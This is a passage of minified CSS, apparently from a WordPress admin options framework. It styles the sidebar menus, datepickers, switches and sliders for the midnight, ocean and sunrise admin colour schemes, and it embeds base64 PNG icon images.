li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#363b3f}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#d92c23;background:#1e2124}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#e14d43}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#363b3f}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#c2c4c5;text-shadow:1px 1px #74787a}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#363b3f;text-shadow:none}.admin-color-midnight .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#e14d43;text-shadow:1px 1px #a4231a}.admin-color-midnight .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#e14d43;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-midnight #fusionredux-footer #fusionredux-share a{color:#e14d43}.admin-color-midnight #fusionredux-footer #fusionredux-share a:hover{color:#a4231a}.admin-color-midnight .select3-results .select3-highlighted{background:#e14d43}.admin-color-midnight .select3-drop-active,.admin-color-midnight .select3-container-multi.select3-container-active .select3-choices,.admin-color-midnight .select3-drop.select3-drop-above.select3-drop-active,.admin-color-midnight .select3-container-active .select3-choice,.admin-color-midnight .select3-container-active .select3-choices,.admin-color-midnight .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-midnight .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#e14d43}.admin-color-midnight .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-midnight .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-midnight .noUi-connect{background-color:#e35950 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e8776f), to(#e35950)) !important;background-image:-moz-linear-gradient(top, #e8776f, #e35950) !important;background-image:-ms-linear-gradient(top, #e8776f, #e35950) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e8776f), color-stop(100%, #e35950)) !important;background-image:-webkit-linear-gradient(top, #e8776f, #e35950) !important;background-image:-o-linear-gradient(top, #e8776f, #e35950) !important;background-image:-linear-gradient(top, #e8776f, #e35950) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e8776f", endColorstr="#e35950", GradientType=0) !important}.admin-color-ocean .button.ui-datepicker-current,.admin-color-ocean button.ui-datepicker-close{background-color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker-buttonpane button.ui-datepicker-current{background:#86a988 !important;color:#fff !important;border:1px solid #547555 !important}.admin-color-ocean .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVMkZg7Zx4k0uFANs63hPQXCoRLAwdgGsr9Az7Qv7sgQGgg1aPl/BJLExBWgG4RFRLFImGmIquPC/klEGyCG0AuAXaJJC+B8FVe9NYQDEcXB8g6AQcjYJ1goJIggHWCrFR0S6kRHN5+4BzFi8NaoN35NRxUvL+JJdZr7PV4wK6fj8nIyMjIyNhr3OxdXAYq7FHZwB6bDSzSh4sF0utChqo0NAvaT1hLzXwFinmCzmeDucEQK18TTaQoFgP7bNC+RZ4OT4T6gQogDFYk+1QxQlj19QGSAWKiLYp8P0Ag1Gbz1ULfWHLg9iUnQNK5QQJcukm04blKLH2GgEJCY+HzXAZWCvHKco3Bp6MIaCjSXXRJyOxeqhnzEaF93MfFGW/O16ZvDL5TM4MJIjujz/cHypkQuuzRwWJ93BKdIt+wCRAPl9kpe2Ikkb2mFgGlxh/i40d3EHfdvoyMjIyMu43ylt/IAmGHnN5iIt7wKfbv01RAcJqFRl9lcjYQSnbQqKgC4fYOwSJt6N6trE0twZ9kN/PqNpTQeICvr4TLsDYC06U7BMjshS+v1/aT7IwQYD5LcgRQXMT2FrBfBLjZ6151jDElk9tPFfpUgk2yregusX25BJbwAFEfM+YI6vGAti4bTtizB+TjfQCrERyhKb2X8D6A9wX75P4t4neBYJeP6pdhg/gQl8MWvytzeSTjgOQBynQdh/iXKdxOrGJ/RkZGRsb9QmXihGr5+g8GGg9uTh+KoVZuNIzV+CwRucFBEyr1mVjx4irOxwM1BhirB6Q+2eNQi4eqR+aF6mELtoMzCR7V9RAFe/ZvQogNiyY8FPSUTFsLp8TeTmMui5mtw7bcaT0Yw2AA4wFRQIlkgq+1DQrNhkmoxS5Jq+u6bMAIGRECEANgXHTgWzwgBOhDH2l0oTQ4D8D5NMktBgNywAEMjo8rwATMZrPY7JGxBoJCkIBDQiAY09EGTUiBCWkUpISfGPR5AAwBfZiG2z7Ayc1yeKTxid39xBNwfHr4O0LA48ePFTvhYrF1r4tyAoz9n2MCqEuBtp/6GDR0oAYfG/R6wJExHYZHfhygsv7fEWCOj4bYmsP5A+pL4MkTfAnMlD4F+r3bobKvTyTA2P/w7PN+Agq2QW8piqMCpTBwenoKvX0AHGkGtP2YAPvTEWA7QUTAudn7/NxtOG46wWNmDtpBEkBzN7rBEvAFHp+YTB/q97qPAN4gHFqgBi8uLsC7qPCA6mg41G/+ErByPwEXDdoNxRhOx+M5jPEzQugS0ht+b1/Y3gEnYMAIAOIBE29/hIDucE8tmMsNOgK4B1RHFu4UCRlMHzv0xzcajcfdXWDs2h8TArBCkoDUJYDLmz6w7ip3BFS0ve5wTRwAn6keMA9I3QYbfSZ0DKbyt+7OXjGI1idPcfNyAyfAMlCrzaGqphYrxHocLHRJVycnfGUcbtT+jIyMjIw9x7Nn8fJSzG0TmFtO8rZT+XT3S3ub+tKJbbLd5diTVp50+zahyeHSslJ/YPrU0fuazrZO2CZ92/ZCCVXlGRiZKPJyPPRxyIFWeXLQBXJBKiq/3divEAN6ZwM200Qjm7EJBZeWm/PRWVCbYK7s7u2l4XaCz+lzgOfMfhMonXr7TWzeZb98dbgIzBT8Ub8eYYUqfZ4rVJ/MDbIDgPqTulJ/xvntWAtjIisqnwxOkGz0n077FARoY79GdA6HPE4rOy196NiMWHTZlSSApcOgXpy/fHV2joaNKu3ffsAnRcBf4K/6NcIG6tIxk3HyoXPjASqfUgXbYN5PzpL2njkR9QMjeDTVHDTCgRuxOegjoO0FvKzP/t/gmVdI24+G7NIe8JX6Wv3dDyldMA+4YB5wwTygtd+dwRqaTqrLb1l73zTSN52CNpnHuQOYPsDblybgxfkXh/oVtr+N1DEBJdhRJyd/Bd/q1z+cbNrD17iVKyajcnv9arhOkRPgsruuD6DmNPwpDNrLw2CoTgHni4yALr0L29+tiKAEIPn868ejx//8rpWP3OEOl5On9OwpcQm0MhafP/ey8f1uvDNIgGLQG8z4YO99ENgg95etwv4uYJYY8fUGHYH6j6fscHFZMftlAl9i+9XL73X3N/n+ZStOzfVfRvYXhrbdKOpEgVQTg/wsDuDD3kwOfQNMTJ5y+/ltUDWLunyxnRF46IqlBzGMY4X7inggREFioIyMjIyMHWCIB6ZNKAcXseo3vLTQTkVE7348dlwJJSz0+wLfmi8BhZqfw3D4ww/wHVLnEd5/fgYvXsDZ3MlsvYUbbnDjDZ3MN3TJG4+bxjAaDl8TBri9qxEw1ccao2wTNAMLHo2f+sjrXwb/9qHoYqgPMBXJTVfOpmrZH23y6uvo0LHSyY6fHGwKfHJlAuMFvObjDYrIqxBgQi20h7Hd/nYVLmno+eaNUm/eeH2GCuopntnhBJAlI2AHo9CCh1I1QxUdAbqqGY9BBLwyc3W4wYVhvY8A4BoIc1l5M7vnPWphZW9/Ses3n37y9a0uGqFwFQZsQQbd386DogpgEk+dzynsAZMJXq8+ns9NeukJ0PYrNATGGefJQlhkLo7DTXr+y3bNiOsDvrXTz/C2q1DXZH84iRNwrP88Nj+u2DjYEE6RBxD9Knj16ujVHC67A7422o02RwD3gB+t7EblWvu9geOFxSnd3ROmT+nJyQkhoPlsxVONc/3TEdBos+jtA+ZzcwHgTvD1cDjaYCcItA8w9i88A8b+mqSjc6Pvqd998QguEQPmQMeo23ODN86+p0/bn1buBkT6+oBhNZ/PYY4ZAHYb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-ocean .ui-datepicker-header{background-color:#627c83 !important;color:#fff !important}.admin-color-ocean .ui-datepicker td .ui-state-active{background-color:#a7c0a9 !important;color:#fff !important}.admin-color-ocean .ui-datepicker td .ui-state-hover{color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker td .ui-state-highlight{background:#9ebaa0 !important;border:1px solid #627c83 !important;color:#fff !important}.admin-color-ocean .fusionredux-container-switch .cb-disable,.admin-color-ocean .fusionredux-container-switch .cb-enable,.admin-color-ocean .ui-state-default,.admin-color-ocean .ui-widget-content .ui-state-default,.admin-color-ocean .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-ocean .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-ocean .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-ocean .fusionredux-container-switch .cb-enable.selected,.admin-color-ocean .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#9ebaa0 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b3c9b4), to(#9ebaa0)) !important;background-image:-moz-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-ms-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b3c9b4), color-stop(100%, #9ebaa0)) !important;background-image:-webkit-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-o-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-linear-gradient(top, #b3c9b4, #9ebaa0) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#b3c9b4", endColorstr="#9ebaa0", GradientType=0) !important;border-color:#719a74 !important;border-color:#80a583 !important;-webkit-box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-ocean #fusionredux-header{background:#627c83;border-color:#9ebaa0}.admin-color-ocean #fusionredux-header .display_header span{color:#d5dddf}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#627c83}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#86a988;background:#4c6066}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#9ebaa0}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#627c83}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#d5dddf;text-shadow:1px 1px #7e979d}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#627c83;text-shadow:none}.admin-color-ocean .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#9ebaa0;text-shadow:1px 1px #658d68}.admin-color-ocean .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#9ebaa0;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-ocean #fusionredux-footer #fusionredux-share a{color:#9ebaa0}.admin-color-ocean #fusionredux-footer #fusionredux-share a:hover{color:#658d68}.admin-color-ocean .select3-results .select3-highlighted{background:#9ebaa0}.admin-color-ocean .select3-drop-active,.admin-color-ocean .select3-container-multi.select3-container-active .select3-choices,.admin-color-ocean .select3-drop.select3-drop-above.select3-drop-active,.admin-color-ocean .select3-container-active .select3-choice,.admin-color-ocean .select3-container-active .select3-choices,.admin-color-ocean .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-ocean .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#9ebaa0}.admin-color-ocean .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-ocean .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-ocean .noUi-connect{background-color:#a7c0a9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#bccfbd), to(#a7c0a9)) !important;background-image:-moz-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-ms-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #bccfbd), color-stop(100%, #a7c0a9)) !important;background-image:-webkit-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-o-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-linear-gradient(top, #bccfbd, #a7c0a9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#bccfbd", endColorstr="#a7c0a9", GradientType=0) !important}.admin-color-sunrise .button.ui-datepicker-current,.admin-color-sunrise button.ui-datepicker-close{background-color:#df8a48 !important}.admin-color-sunrise .ui-datepicker-buttonpane button.ui-datepicker-current{background:#cc6c23 !important;color:#fff !important;border:1px solid #753e14 !important}.admin-color-sunrise .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVM